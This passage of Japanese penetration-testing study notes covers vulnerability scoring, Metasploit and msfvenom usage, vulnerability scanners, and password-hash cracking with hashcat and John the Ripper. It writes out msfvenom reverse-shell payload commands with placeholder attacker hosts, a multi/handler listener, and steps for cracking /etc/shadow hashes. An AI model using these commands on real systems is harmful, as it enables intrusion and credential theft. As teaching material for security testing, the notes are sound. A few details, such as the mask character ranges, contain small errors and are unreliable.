  • 基本評価基準 … 脆弱性時代の特性評価
  • 現状評価基準 … 上記に配布パッチの効果を含めた評価
  • 環境評価基準 … ユーザへの影響度を含めた評価

CVSSの算出はコチラを使用して行える

VPR

VPRは脆弱性管理におけるより最新のフレームワークで脆弱性管理の業界のプロバイダであるTenableにより開発された。 CVSSのように影響で脅威を測るのではなく、脆弱性が組織自体にもたらすリスクに重点を置いて脆弱性にスコアが与えられる

VPRはスコアリングにおいてもかなり動的であり、脆弱性がもたらすリスクは時間の経過とともにほぼ毎日変化する可能性がある。
なおVPRは商用プラットフォームの一部でのみ利用できる。

7.1.3. 脆弱性データベース

脆弱性を公開しているサービスやサイトには以下のようなものがある。

JVN / JVN iPedia

日本国内の脆弱性管理基盤。JPCERT/CTTとIPAが共同運営している。

https://jvn.jp/

NVD

NVD(全国脆弱性データベース)は公的に分類されたすべての脆弱性をリストする Web サイト。 CVE形式(CVE-[年]-[ID])で検索ができる。

https://nvd.nist.gov/

Exploit DB

Exploit-DBはペネトレーションテスタにとって評価の際に非常に役立つリソースで、Exploit-DB は、ソフトウェアやアプリケーションの名前、作成者、バージョンの下に保存されたソフトウェアやアプリケーションのエクスプロイトを提供する。

Exploit-DBを使用すると、特定の脆弱性を悪用するために使用されるコードのスニペット(PoC)を探すことができる

https://www.exploit-db.com/

7.2. 脆弱性の悪用

7.2.1. 脆弱性調査の方法

脆弱性の調査は手動でスキャンする方法と自動でスキャンする方法がある。
自動でスキャンを行う場合は脆弱性スキャナと呼ばれるものを使用する。
具体的にはNessusMetasploitなどのツールがある。

自動スキャンの特徴は以下の通り。

  • 高速スキャンが行える
  • 結果を組織で共有しやすい
  • 全ての脆弱性を検出できるわけではない
  • 大量のトラフィックとログを生成する

アプリケーションやプログラムに含まれる脆弱性は以下の通り。

脆弱性説明
セキュリティ設定のミスセキュリティの設定ミスには開発者の監視による脆弱性が含まれる。例えばアプリケーションと攻撃者間のメッセージでサーバー情報が公開されるなど
アクセス制御のバイパス攻撃者が本来アクセスできないはずのアプリケーションの部分にアクセスできる場合に発生する
安全ではない逆シリアル化アプリケーション全体で送信されるデータの安全でない処理のこと
コードの注入攻撃者がアプリケーションに悪意のあるデータを入力できる場合、インジェクションの脆弱性が存在する

7.2.2. 手動による脆弱性の発見

Rapid7

Rapid7はエクスプロイトデータベースとしても機能する脆弱性研究データベース。
このサービスを使用すると、脆弱性の種類 (アプリケーションやOSなど) でフィルタリングできる。

https://www.rapid7.com/db/

Rapid7には人気のあるMetasploitツールを使用してアプリケーションを悪用するための手順が含まれている

GitHub

GitHubはソフトウェア開発者向けのコード共有/管理サービス。
セキュリティの観点ではある脆弱性のPoC (概念実証) を GitHub に保存して共有し、このコンテキストでそれをエクスプロイトデータベースとして使用できる。

https://github.com/

キーワード検索で「PoC」や「CVE」を含むように検索すると発見できる場合がある。

Searchsploit

SearchsploitはKali Linuxなどの一般的な侵入テストディストリビューションで利用できるツールでExploit-DBのオフラインコピーといえる。
アプリケーション名や脆弱性の種類で searchsploit を検索可能。

# 検索
searchsploit [検索名]
# 検索をタイトルのみに制限
searchsploit -t [タイトル]

# データベースの更新
searchsploit -u

7.3. Metasploit

Metasploitは最も広く使用されている脆弱性悪用フレームワーク
Metasploitは情報収集から脆弱性の悪用まで、侵入テスト作業のすべての段階をサポートする。

Metasploitには以下の2つのバージョンがある。

  • Metasploit Pro
    • タスクの自動化と管理を容易にする商用バージョン
    • このバージョンにはGUIが搭載
  • Metasploit Framework
    • CUIから動作するオープンソースバージョン

Metasploitフレームワークは、情報収集、スキャン、脆弱性の悪用、脆弱性の悪用の開発、脆弱性の悪用後の処理などを可能にするツールのセットといえる。
Metasploitフレームワークの主な用途は侵入テストだが、脆弱性の研究やエクスプロイトの開発にも役立つ

7.3.1. Metasploitの概念

Metasplotはmsfconsoleコマンドで対話できる。

msfconsole

またMetasplotを理解するのに必要な概念として以下のようなものがある。

  • エクスプロイト … ターゲット システムに存在する脆弱性を利用するコード。
  • 脆弱性 … ターゲット システムに影響を与える設計、コーディング、またはロジックの欠陥。脆弱性が悪用されると、機密情報が漏洩したり、攻撃者がターゲット システム上でコードを実行したりする可能性のこと
  • ペイロード …. ペイロードは、ターゲット システム上で実行されるコードのこと

Metasploitのモジュール一覧

Metasploitには付属する攻撃プログラムやツールがモジュールという形で内蔵されている。

モジュール説明
exploits脆弱性を利用してペイロードを実行できるようにするモジュール
auxiliaryスキャン/バージョン検出/ユーザ列挙/システム列挙など初期攻撃をサポートするモジュール
postパスワードの奪取、キーロガーの設置、システム内情報収集など、侵入後の攻撃を補助するモジュール
payloadsExploitの攻撃が実行した場合、直ちに攻撃を実行するコード。遠隔操作セッション確立、攻撃補助のモジュール
encodersペイロードをアルゴリズムで処理するモジュール、ペイロード隠蔽に使用
nopsNOPを生成するモジュール。NOPは何もしないアセンブリで実行ファイルの空白を埋めるのに使用
evasionアンチウィルスソフトを回避するためのモジュール

Auxiliaryモジュールの確認

Metasploitで利用できるスキャナー、クローラー、ファザーなどのサポートモジュールはauxiliary/以下にある。

/opt/metasploit-framework/embedded/framework/modules# tree -L 1 auxiliary/

Encodersモジュールの確認

エンコーダーを使用するとエクスプロイトとペイロードをエンコードできる
なおウィルス検知システムが対象システムにある場合はチェックが実施される可能性があるため、エンコーダの成功率は制限される可能性がある。

/opt/metasploit-framework/embedded/framework/modules# tree -L 1 encoders/

Evasionモジュールの確認

Evasionモジュールはウイルス対策ソフトウェアを回避するためのモジュール
これを使用することでウィルス検知システムをバイパスできる可能性がある。

/opt/metasploit-framework/embedded/framework/modules# tree -L 2 evasion/

Explotsモジュールの確認

ターゲットシステムごとにエクスプロイトが分類されている。

/opt/metasploit-framework/embedded/framework/modules# tree -L 1 exploits/

NOPSモジュールの確認

NOPはなにも行わないモジュールだが、一貫したペイロード サイズを実現するためのバッファとして使用できる

/opt/metasploit-framework/embedded/framework/modules# tree -L 1 nops/

Payloadsモジュールの確認

ペイロードはターゲット システム上で実行されるコードのこと。
エクスプロイトはターゲットシステムの脆弱性を利用しますが、望ましい結果を達成するにはペイロードが必要となる。

またペイロードは以下の動作を行う。

  • シェルの取得
  • ターゲットシステムへのマルウェアまたはバックドアのロード
  • コマンドの実行

なおペネトレーションテストでシステム侵入が行える安全なPoCの使用と報告ではターゲットのcalc.exe(電卓)が起動できることを示すのが一般的である。

/opt/metasploit-framework/embedded/framework/modules# tree -L 1 payloads/
ディレクトリ説明
adapters/単一のペイロードをラップして異なる形式に変換する
singles/実行するために追加のコンポーネントをダウンロードする必要のない自己完結型ペイロードがある
stagers/Metasploitとターゲットシステム間の接続チャネルのセットアップを担当
stages/ステージャーによってダウンロードされる

Postモジュールの確認

Postモジュールは侵入テストプロセスの最終段階であるエクスプロイト後の後処理において役立つモジュール。

/opt/metasploit-framework/embedded/framework/modules# tree -L 1 post/

7.3.2. Msfconsole

msfconsoleはmetasploitと対話できるコマンド。

msfconsole

7.3.3. モジュールの操作方法

コマンドプロンプトのモード

Metasploitにはコマンドプロンプトのモードがいくつかある

  • msf6 > … msfconsoleプロンプトモード * モジュールの確認や選択などが行えるモード
  • msf6 exploit(windows/smb/ms17_010_eternalblue) > … コンテキストコマンドプロンプトモード * モジュールを使用することを決定し、setコマンドを使用してそれを選択すると表示される * ここではコンテキスト固有のコマンドを使用できる
  • meterpreter > … Meterpreterプロンプトモード * このモードはMeterpreterエージェントがターゲットシステムにロードされ、再び接続されたことを意味する * ここで Meterpreter 固有のコマンドを使用できる

msfconcoleの操作方法

使用する可能性のあるmsfconsoleのサブコマンドを以下に記載する。

# ヘルプの表示
msf6 > help [サブコマンド]
# コマンド履歴の表示
msf6 > history
# モジュールの表示
msf6 > show < exploits | auxiliary | payload | encoders >
# モジュールの検索
msf6 > search [名称(cveなど)]
msf6 > search type:payload platform:linux
# モジュールの情報確認
msf6 > info [モジュールパス]
# モジュールの使用の決定
msf6 > use [モジュールパス]

コンテキストコマンドプロンプトの使用

以下コマンドを使用して設定/攻撃を行う。

# エクスプロイトの使用
msf6 > use exploit/[エクスプロイト]
# 実行に必要な必要なパラメータをリスト表示
msf6 exploit([エクスプロイト]) > show options
# オプションのパラメータを設定
msf6 exploit([エクスプロイト]) > set パラメータ名 値
# オプションのパラメータ設定(すべてのモジュール共通)
msf6 exploit([エクスプロイト]) > setg パラメータ名 値
# 設定したパラメータの全削除
msf6 exploit([エクスプロイト]) > [unset|unsetg] all
# 実行に必要な必要なペイロードをリスト表示
msf6 exploit([エクスプロイト]) > show payloads
# 設定したペイロードの削除
msf6 exploit([エクスプロイト]) > unset payload
# エクスプロイトの実行ができるか確認(脆弱性有無の確認)
msf6 exploit([エクスプロイト]) > check
# エクスプロイトの実行
msf6 exploit([エクスプロイト]) > exploit -z
# モジュール情報の表示
msf6 exploit([エクスプロイト]) > info
# コンテキストから離れる
msf6 exploit([エクスプロイト]) > back
msf6 > 

モジュールの使用手順は以下の通り。

  1. msfconsoleプロンプトモードでuse [モジュール]を使用しコンテキストコマンドプロンプトモードに入る
  2. show optionsでパラメータを確認しながらset パラメータ名 値で必要最低限の値を設定する
  3. exploit -zコマンドでエクスプロイトの実行をする
  4. Session N created in the background.と表示されればターゲット システムと Metasploit の間にセッション生成完了
  5. backgroundコマンドでmsfconsole プロンプトに戻る(sessionsコマンドで接続中セッションの確認可能)
  6. sessions -i [番号]でセッションに対話する(sessions -hコマンドでセッションのヘルプ)

Metasploitデータベースの利用

Metasploitデータベースは複数のターゲットが存在する場合にプロジェクト管理を簡素化し、パラメーター値を設定する際の混乱を避けるための機能
使用のための準備方法は以下の通り。

  1. PostgreSQLデータベースの起動(systemctl start postgresql)
  2. Metasploit データベースを初期化(msfdb init)
  3. msfconsoleでMetasploitの起動しdb_statusでステータス確認
  4. workspaceコマンドで使用するワークスペースを確認可能(-aで追加,-dで削除、-hでヘルプ)
  5. ワークスペースの選択はworkspace [ワークスペース名]で行う

データベースを利用したワークフロー例は以下の通り

  1. use auxiliary/scanner/smb/smb_ms17_010
  2. hosts -RでRHOSTSを設定
  3. show optionsset [パラメータ] [値]で設定
  4. exploitで実行

Metasploitのセッション切り替え

backgroundコマンドで現在のセッションがバックグラウンドに回される。
またsession -iコマンドでセッションの確認。session -i [番号]でセッションに戻れる。

リバースシェルの待ち受け

Metasploitでリバースシェルを待ち受けるにはexploit/multi/handlerを使用する。 このモジュールはバインドシェルでターゲット端末に接続したり、リバースシェルの接続待ち受けに使用される。

msf6 > use exploit/multi/handler
msf6 >> set payload <ペイロード>
msf6 >> set LHOST <攻撃機のIP>
msf6 >> set LPORT <ポート番号>

show optionsで設定を確認し、exploitコマンドで待ち受け(実行)できる。

7.3.4. Msfvenom

Msfvenomはペイロードを生成できるもの。
Msfvenom を使用すると、Metasploit フレームワークで利用可能なすべてのペイロードにアクセスできるようになる。

Msfvenom を使用すると様々な形式 (PHP、exe、dll、elf など) および様々なターゲット システム (Apple、Windows、Android、Linux など) 用のペイロードを作成できる。

msfvenom -l payloads 

よく使うペイロード

以下ペイロードはpayload以下にある。

ペイロード説明
windows/meterpreter/reverse_tcpwindows用リバースシェルペイロード
linux/x86/meterpreter/reverse_tcpx86アーキテクチャのLinuxのリバースシェルペイロード
windows/meterpreter/bind_tcpwindows用バインドシェルペイロード
linux/x86/meterpreter/bind_tcpx86アーキテクチャのLinuxのバインドシェルペイロード
windows/meterpreter/reverse_httpsWindowsシステムにバックドアを設置するためのペイロード
windows/shell_reverse_tcpWindowsシステムにバックドアを設置するためのペイロード
php/meterpreter/reverse_tcpWebアプリケーションやWebサーバーにバックドアを設置
php/meterpreter/jsp_shell_reverse_tcpWebアプリケーションやWebサーバーにバックドアを設置

ペイロードの作成

基盤となるペイロードをsearch type:payload~などで見つけたら、info <Payloadパス>でパラメータを確認し設定を行う。
なお作成したペイロードはターゲットで実行する必要がある。つまりターゲットにアクセス(簡易WEBサーバなどを立てて)してwgetなどでDLさせる。

msfvenom --payload <Payloads以下のペイロードパス> --<パラメータ> .... 

よく使うパラメータは以下の通り。

パラメータ説明
–payloadペイロードのパス
–platformペイロードが実行されるプラットフォーム(Linux,windowsなど)
–archペイロードが実行されるアーキテクチャ(x86など)
–format出力ファイル形式(elfなど)
–out出力ファイルのパス(絶対パス)
LHOST接続先IPアドレスの指定
LPORT接続先が待ち受けているポート番号を指定する

ペイロードの実行

作成したペイロードはターゲット端末で以下のように実行する。

./<ペイロード名>

Metapreterセッション

MetapreterセッションはMetaSploitペイロードとMetasploitで確立されたセッションを指す。
各権限でのLinuxコマンドが使用できるようになる。

よく使うシェルペイロードの作成

# =================
# Linux
# =================
# Binary
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<サーバIP> LPORT=<リッスンポート> -f elf > shell86.bin
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<サーバIP> LPORT=<リッスンポート> -f elf > shell64.bin
msfvenom -p linux/x86/shell_bind_tcp LPORT=<リッスンポート> -f elf > bind86.bin
msfvenom -p linux/x64/shell_bind_tcp LPORT=<リッスンポート> -f elf > bind64.bin
# Python
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<サーバIP> LPORT=<リッスンポート> -f py
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<サーバIP> LPORT=<リッスンポート> -f py
msfvenom -p linux/x86/shell_bind_tcp LPORT=<リッスンポート> -f py
msfvenom -p linux/x64/shell_bind_tcp LPORT=<リッスンポート> -f py
# =================
# Windows
# =================
# Binary
msfvenom -p windows/shell_reverse_tcp LHOST=<サーバIP> LPORT=<リッスンポート> -f exe > shell86.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<サーバIP> LPORT=<リッスンポート> -f exe > shell64.exe
msfvenom -p windows/windows/shell_bind_tcp LPORT=<リッスンポート> -f exe > bind86.exe
msfvenom -p windows/x64/shell_bind_tcp LPORT=<リッスンポート> -f exe > bind64.exe

7.4. 脆弱性評価ツール

7.4.1. Legion

半自動のペネトレーションテストフレームワーク。
検出、偵察、脆弱性評価タスクを実行できる。

起動方法

Kali Linuxの場合以下方法で起動をする。

「Kali アイコン」=>「Information Gatahering」=>「Vulnerability Analysis」=>「Legion (root)」

Scan/Bruteセクション

Legionの入力セクションにはScanとBruteの2つがある。

  • Scanセクション
    • ホスト検出
    • 情報収集
    • 脆弱性の検出
  • Bruteセクション
    • ブルートフォースアタック

Easy/Hardセクション

ScanタブのHostsセクションではIP,ホスト名などを入力できる。
またEasy/Hardのモード選択が行われる。

  • Easyモード
    • Nmap機能
    • パフォーマンス機能
  • Hardモード
    • Port Scan Options
    • Host Discovery Options
    • Additional arguments

7.4.2. Nessus

Nessusはペンテストプラットフォーム。

起動方法

# 起動
sudo /bin/systemctl start nessusd.service
# 停止
sudo /bin/systemctl stop nessusd.service

https://localhost:8834/にアクセスする。

Nessusによる基本的な脆弱性スキャン

  1. MyScansページが表示されたら「New scan」または「Creare a new scan」をクリック
  2. ScanTemplatesページが表示されたら「Basic Network Scan」をクリック
  3. NewScan/BasicNetworkScanページのSettingsタブのNameフィールドに任意の意名前を設定
  4. TargetsフィールドにはターゲットのIPアドレスを入力しSaveをクリック
  5. MyScansページでMoreボタンをクリックし、Launchを選択するとスキャンが開始される

Nessusによる詳細な脆弱性スキャン

  1. MyScansページが表示されたら「New scan」または「Creare a new scan」をクリック
  2. ScanTemplatesページが表示されたら「Advanced Scan」をクリック
  3. NewScan/BasicNetworkScanページのSettingsタブのNameフィールドに任意の意名前を設定
  4. TargetsフィールドにはターゲットのIPアドレスを入力しSaveをクリック
  5. Discovery > Host Discovery にて検出方法を設定できる
  6. Discovery > Port Scanning を選択しオプションを設定できる
  7. ASSESMENT > General を選択し「Perform thorough tests…」をONにする
  8. ASSESMENT > Brute Forceを選択し、Oracle DatabaseのTest default accounts(slow)とHydraのAlways enable Hydra(slow)をONにする
  9. ASSESMENT > Web Application を選択しScan Web applications, Follow dynamically generated pagesをONにする
  10. MyScansページでMoreボタンをクリックし、Launchを選択するとスキャンが開始される

7.4.3. GVM

GVMはOpenVASの後継ツールで脆弱性評価に使用できるフレームワーク。
使用環境にあるシステムを調べてサービスと脆弱性を確認する。

インストールとセットアップ

sudo apt install gvm -y

その他のコマンドは以下の通り。

# パスワードのリセット
sudo -u _gvm gvmd --user=admin --new-password=new_password
# GVMが正常にセットアップされているか確認
sudo gvm-check-setup
# 正常にセットアップされている場合は以下コマンドで入力をプロセス停止
sudo gvm-stop
# フィードの更新
sudo greenbone-feed-sync

起動方法

sudo gvm-start

GVMによる基本的な脆弱性スキャン

  1. 「Kali アイコン」=>「Vulnerability Analysis」=>「gvm start」で起動
  2. ユーザ名とパスワードの入力を行いSign Inをクリック
  3. Scans > Tasksをクリック
  4. Task WizardをポイントにTask Wizardを選択し、IP address or hostnameにターゲットのIPアドレスを入力
  5. Start Scanをクリックするとスキャンが開始される
  6. Resultsタブをクリックすると脆弱性のリストが表示される
  7. GVMの終了は 人型アイコン > Log Outを選択でWEBUIの終了が行え、sudo gvm-stopでGVMを完全終了できる

GVMによる詳細な脆弱性スキャン

カスタムスキャンは以下のように行える。

  1. 「Kali アイコン」=>「Vulnerability Analysis」=>「gvm start」で起動
  2. ユーザ名とパスワードの入力を行いSign Inをクリック
  3. Configuration > Targets を選択し、Clone Targetをクリックしクローンを作成する
  4. Edit Targetをクリックし編集する
  5. この段階で資格情報(IDやパスワード)が判明していれば深いレベルの評価も行える
  6. Configuration > Credentials を選択しNew Credentialで入力できる
  7. Configuration > Scan Configsを選択でスキャン構成を確認する
  8. Full and fastの右端のActions列のClone Scan Configをクリックしスキャン構成詳細を見る
  9. Scans > Taskを選択し、New Taskをさらに選択、Nameに任意のタスク名を入力しScan TragetsとScan Configで設定を選択する
  10. Saveボタンを押し、Tasks画面の下部に表示されるActions列で右やじるアイコンを押すとスキャンが開始される

7.4.4. その他の脆弱性スキャンツール

  • Nexpose
  • OpenVAS
  • QualyGuard

8 - 8. 暗号の解読と解析

暗号に関する基礎知識およびHashCat/Johnの使い方

8.1. 暗号化の基礎

暗号化は機密性を保護し、整合性を確保し、信頼性を確保するために使用される。

8.1.1. 暗号化の種類

対称暗号化

対称暗号化では同じキーを使用してデータの暗号化と復号化が行われる暗号。
対称暗号化の例としてはDESやAESがある。
このアルゴリズムは非対称暗号化よりも高速である傾向があり、それより小さなキーを使用する

非対称暗号化

非対称暗号化では2つのキーペアを利用して暗号化と復号化が行われる暗号。
キーのペアの1つは暗号化に使用され、もう1つは復号化に使用される。
例としては、RSA や楕円曲線暗号がある。

通常これらのキーは公開鍵秘密鍵と呼ばれる。
秘密キーで暗号化されたデータは公開キーで復号化でき、その逆も可能となる。
秘密キーは非公開に保つ必要がある。

非対称暗号化は速度が遅くなり、より大きなキーを使用する傾向がある。
また RSA は通常 2048 ~ 4096 ビットのキーを使用する。

8.1.2. RSA

RSAの仕組みは大きな数の因数を計算するという数学的な性質に基づいている。
2つの素数を掛け合わせると、たとえば 17*23 = 391 となりますが、2 つの素数を掛け合わせて 14351 (参考までに 113x127) を作るのは非常に困難となる。

RSAの解析ツールは以下の通り。

8.1.4. デジタル署名と証明書

デジタル署名

デジタル署名はファイルの信頼性を証明し誰が作成または変更したかを証明する方法のこと。
電子的な文書やデータに対して、送信者の認証やデータの改ざんの有無を確認するための手段といえる。

非対称暗号化を使用すると、秘密キーで署名を生成し、公開キーを使用して署名を検証できる。

デジタル証明書

デジタル証明書は公開鍵暗号システムで使用される公開鍵を含み、その公開鍵が本物のものであることを証明する電子的な文書のこと。
デジタル証明書は信頼できる第三者機関(証明書機関、Certificate Authority:CA)によって署名され、信頼性を提供する。

8.1.5. SSH認証

SSH認証はユーザーがサーバーにアクセスする際にそのユーザーが誰であるかをSSHを利用して確認するための仕組み

8.1.6. DH法

DH法(Diffie-Hellman鍵共有法)は共通鍵暗号方式における鍵の共有方法の1つ。 DH法は自身で設定した秘密鍵と、他者に知られてもいい公開鍵を設定し、それらを組み合わせて計算した数値の余りの値を共有して共通鍵を生み出す仕組みといえる。

他者に傍受される危険のある通信経路でも使えるのが特徴の1つ。

8.1.7. PGP/GPG

PGP

PGP(Pretty Good Privacy)はファイルの暗号化やデジタル署名の実行などの暗号化を実装するソフトウェアのこと。

GPG

GNUプロジェクトによるPGPのオープンソース実装のこと。
PGP/GPG を使用すると、SSH 秘密キーと同様の方法で秘密キーをパスフレーズで保護できる。

8.2. ハッシュ

8.2.1. ハッシュ関数

ハッシュ関数はある値からダイジェストを作成するアルゴリズムのこと。
出力されるダイジェストは固定サイズとなる。

ハッシュ関数から出力した値から入力した値に戻すことはできない
ハッシュはパスワードの検証などに頻繁に使用される。

有名なハッシュ関数に種類は以下の通り。

  • MD5 : 128bitのハッシュを生成する関数 (脆弱性が報告済み)
  • SHA-1 : 160bitのハッシュを生成する関数 (脆弱性がある)
  • SHA-2 : SHA-1の改良版で512bitまで生成できるハッシュ関数

ハッシュの衝突

ハッシュの衝突は2つの異なる入力が同じ出力を与える場合に発生する。
現在、MD5(16Byte)とSHA1(20Byte)はハッシュの衝突が多いハッシュ化アルゴリズムのため安全ではない
(SHA1に関してはGPUを使用して非常に高速に計算できてしまう問題)

8.2.2. ハッシュ化の用途

ハッシュはセキュリティにおける2つの主な目的に使用される。
1つ目はデータの整合性を検証するため(詳細は後述)、2つ目はパスワードを検証するために使用される。

レインボーテーブル

レインボーテーブルはハッシュから平文へのルックアップを行うためのテーブルソルトを付加していないハッシュのパスワード解析などに使用される

crackstationのようなサービスは巨大なレインボーテーブルを保持している。

レインボーテーブルによる攻撃を防ぐにはハッシュ化される前にパスワードの先頭または末尾にソルトを追加する。

8.2.3. パスワードハッシュの解析

それぞれのパスワードハッシュの特徴は以下の通り。
プレフィックスはハッシュの生成に使用されるハッシュアルゴリズムを示す。

  • Unix形式のパスワードハッシュ * プレフィックスが付いている * 標準形式:$format$rounds$salt$hash
  • Windowsパスワードハッシュ * md4の一種であるNTLMを使用してハッシュされる * パスワードハッシュはSAMに保存される

NLTM(Windows New Technology LAN Manager):ユーザのIDを認証し、ユーザーのアクティビティの整合性と機密性を保護するためにMicrosoftが提供する一連のセキュリティプロトコル

なおUnixで使用されるパスワードのプレフィックスは以下の通り。

プレフィックスアルゴリズム
$1$md5crypt、Cisco のものおよび古い Linux/Unix システムで使用される
$2$、$2a$、$2b$、$2x$、$2y$Bcrypt (Web アプリケーションで人気)
$6$sha512crypt (ほとんどの Linux/Unix システムのデフォルト)

多くのハッシュ形式とパスワード プレフィックスを見つけるのにコチラのサイトが役に立つ。

8.2.4. パスワードのクラッキング

ソルトのないハッシュの解読はレインボーテーブルの利用で可能である。
ソルトが含まれている場合は、ソルトを追加しターゲット ハッシュと比較することによって、ハッシュを解読する必要がある。

Hashcat やJohn the Ripperなどのツールで解析を行う。

Hashの解析にはHash AnalayzerHashcatなどが役に立つ。

8.2.5. 整合性チェックのハッシュ化

整合性チェック

ハッシュを使用するとファイルが変更されていないことを確認できる
ファイルが変更されていないことを確認したり、ファイルが正しくダウンロードされたことを確認したりするために使用できる。

HMAC

HMACは暗号化ハッシュ関数を使用してデータの信頼性と整合性を検証する方法

8.3. パスワードの解析

8.3.1. パスワード解析の種類

パスワード解析には大きく分けて2種類がある。

オンラインパスワード解析

パスワード認証を備えたサービスに直接アクセスしてパスワード解析を行うタイプのパスワードクラックのこと。
Hydraなどのツールでのパスワードクラックがこれにあたる。

オフラインパスワード解析

ネットワークを介さずローカルのマシン内でパスワード解析を試みるタイプのパスワードクラックのこと。
John the ripperなどのパスワードクラックがこれにあたる。

なお解析には暗号化されたパスワードが記されたファイル暗号化した認証場を含むパケットファイルを用意する必要がある。
無線LANのパスワード解析にもこのタイプのツールが役に立つ。

8.3.2. パスワード解析の分類

パスワード解析の代表的な方法は以下の通りとなる。

  • 総当たり攻撃
  • 辞書攻撃
    • リスト攻撃
    • コンビネーション攻撃
    • ハイブリッド辞書攻撃
    • ルールベース辞書攻撃

8.3.3. 辞書ファイル

Kali Linux搭載辞書ファイル

パス説明
/usr/share/wordlists/rockyou.txt定番パスワード

辞書ファイル提供サイト

URL説明
https://www.openwall.com/wordlists/Openwallワードリストコレクション
https:/github.com/danielmiessler/SecListsSecLists

8.4. 暗号/パスワードの解析

8.4.1. Hashcat

パスワードハッシュのクラックや解析に特化したツール。
ブルートフォース(総当たり)攻撃、辞書攻撃、マスク攻撃に対応している。
以下のケースでの解析に向いている。

  • ハッシュの種類が明白
  • OSの割り当てメモリが4GB以上
  • GPUを使用して解析できる

リカバリに成功したハッシュとパスワードはhashcat.potfileに記録される。

hashcat [オプション]... <ハッシュファイル> <ワードリストファイル>
-oオプション(モード)説明
0Straight ←辞書攻撃
1Combination
3Brute-force ←ブルートフォース
6Hybrid Wordlist + Mask
7Hybrid Mask + Wordlist
ハッシュアルゴリズムオプション
MD5-m 0
SHA1-m 100
NTLM0m 1000
SHA-256-m 1400
DES-m 1500
SHA-512-m 1700
LM-m 3000
bcrypt-m 3200
MS Office-m 9400-9820
PDF-m 10400-10700
7zip-m 11600
keepass-m 13400
BitLocker-m 22100

アルゴリズムの検索は以下で行うと良い

hashcat -h | grep "アルゴリズム"

マスクの使用

マスクを使うと文字列+数字のようなパスワードフォーマットを指定することができる。

マスクを指定する際にシングルクォートが必要かどうかはOSによって異なり、Unix系OSでは 「?」 をエスケープするためにシングルクォートで囲む必要がある。

マスク形式マスクの意味マスクに適用される内容
?lアルファベット小文字abcdefghijklmnopqrstuvwxyz
?uアルファベット大文字ABCDEFGHIJKLMNOPQRSTUVWXYZ
?d数字123456789
?s記号!"#$%&’()*+,-./:;<=>?@[]^_`{
?a?l?u?d?sと同じすべての文字列
?b16進数0x00 - 0xff

マスクの長さを指定する(-i, –increment)

マスクの長さを指定したい場合に使う。

hashcat -m 1500 -a 3 hash.txt --increment '?d?d?d?d'

hashcat -m 1500 -a 3 hash.txt --increment --increment-min 2 --increment-max 4 '?d?d?d?d'

hashcat -m 1500 -a 3 hash.txt --increment --increment-min 7 --increment-max 8 '?a?a?a?a?a?a?a?a'

8.4.2. John The Ripper

John the Ripperはパスワードクラックツール。非常に多種多様なパスワードクラックに対応している。
以下のケースでの解析に向いている。

  • ハッシュの種類が不明
  • OSの割り当て可能メモリが少ない
john [オプション] [ファイルパス]

john --wordlist=[ワードリスト] [ファイルパス]

# 使用できるフォーマットの確認
john --list=formats | grep -iF "フォーマット"

# 解析中のレコードファイルの削除
rm -rf ~/.john
オプション説明
–format=特定の形式のハッシュを与えていること、およびそれを解読するために次の形式を使用する

Johnには、与えられているハッシュの種類を検出し、それを解読するための適切なルールと形式を選択する機能が組み込まれている。
なおハッシュの種類を検出できない場合は他のツールを使用してハッシュを識別し、特定の形式を使用するように john を設定できる。

Windowsハッシュのクラッキング

NThashは最新のWindowsOSがユーザーパスワードとサービスパスワードを保存するハッシュ形式のこと。
一般に「NTLM」とも呼ばれる。

NTHash/NTLMハッシュは、Mimikatzなどのツールを使用してWindowsマシン上のSAMデータベースをダンプするか、Active Directory データベース NTDS.dit から取得できる。

/etc/shadowからのハッシュのクラッキング

/etc/shadowファイルはパスワードハッシュが保存されるLinuxマシン上のファイルのこと。
最後のパスワード変更日やパスワードの有効期限情報など、他の情報も保存される。

システムのユーザーまたはユーザーアカウントごとに、1 行に 1 つのエントリが含まれており、通常、このファイルには root ユーザーのみがアクセスできる。
そのたmハッシュを入手するには十分な権限が必要となるが、権限を持っている場合は、一部のハッシュを解読できる可能性がある。

Johnで/etc/shadowパスワードを解読するには/etc/passwdファイルと結合する必要がある。 これを行うには、John ツール スイートに組み込まれているunshadowというツールを使用する。

unshadow [ターゲットマシンから取得した /etc/passwd ファイルのコピーを含むファイル] [ターゲットマシンから取得した /etc/shadow ファイルのコピーを含むファイル]

上記のunshadowからの出力は John に直接フィードすることができる。

john --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt unshadowed.txt

シングルクラックモード

シングルクラックモードではJohn はユーザー名で提供された情報のみを使用して、ユーザー名に含まれる文字と数字をわずかに変更することで、可能なパスワードを発見的に見つけ出す。

john --single --format=[format] [path to file]

なおシングルクラックモードでハッシュをクラックしている場合は、どのデータからワードリストを作成するかを理解できるように、john に供給するハッシュのファイル形式を変更する必要がある。

# 例
1efee03cdcb96d90ad48ccc7b8666033

# 上記を下記に
mike:1efee03cdcb96d90ad48ccc7b8666033